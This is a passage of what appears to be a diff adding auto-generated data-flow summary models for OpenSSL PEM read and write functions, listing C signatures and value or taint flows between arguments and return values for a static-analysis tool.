**,pem_password_cb *,void *)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write", "(i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_write", "(i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*8]", "Argument[**8]", "value", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write", "(i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[8]", "Argument[**8]", "taint", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write_bio", "(i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_write_bio", "(i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*8]", "Argument[**8]", "value", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write_bio", "(i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[8]", "Argument[**8]", "taint", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write_bio_ctx", "(OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_write_bio_ctx", "(OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*9]", "Argument[**9]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_write_bio_ctx", "(OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[9]", "Argument[**9]", "taint", "dfc-generated"] + - ["", "", True, "PEM_SignFinal", "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_SignFinal", "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_SignInit", "(EVP_MD_CTX *,EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "PEM_SignInit", "(EVP_MD_CTX *,EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "PEM_SignInit", "(EVP_MD_CTX *,EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_X509_INFO_read", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio_ex", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio_ex", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio_ex", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio_ex", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_ex", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_X509_INFO_read_ex", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_ex", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_ex", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_write_bio", "(BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_write_bio", "(BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_bytes_read_bio", "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "df-generated"] + - ["", "", True, "PEM_bytes_read_bio", "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_bytes_read_bio_secmem", "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "df-generated"] + - ["", "", True, "PEM_bytes_read_bio_secmem", "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[**3]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[*3]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_dek_info", "(char *,const char *,int,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "PEM_get_EVP_CIPHER_INFO", "(char *,EVP_CIPHER_INFO *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_proc_type", "(char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[**2]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[*3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_DSAPrivateKey", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_ECPrivateKey", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_EC_PUBKEY", "(FILE *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_NETSCAPE_CERT_SEQUENCE", "(FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS7", "(FILE *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8", "(FILE *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE 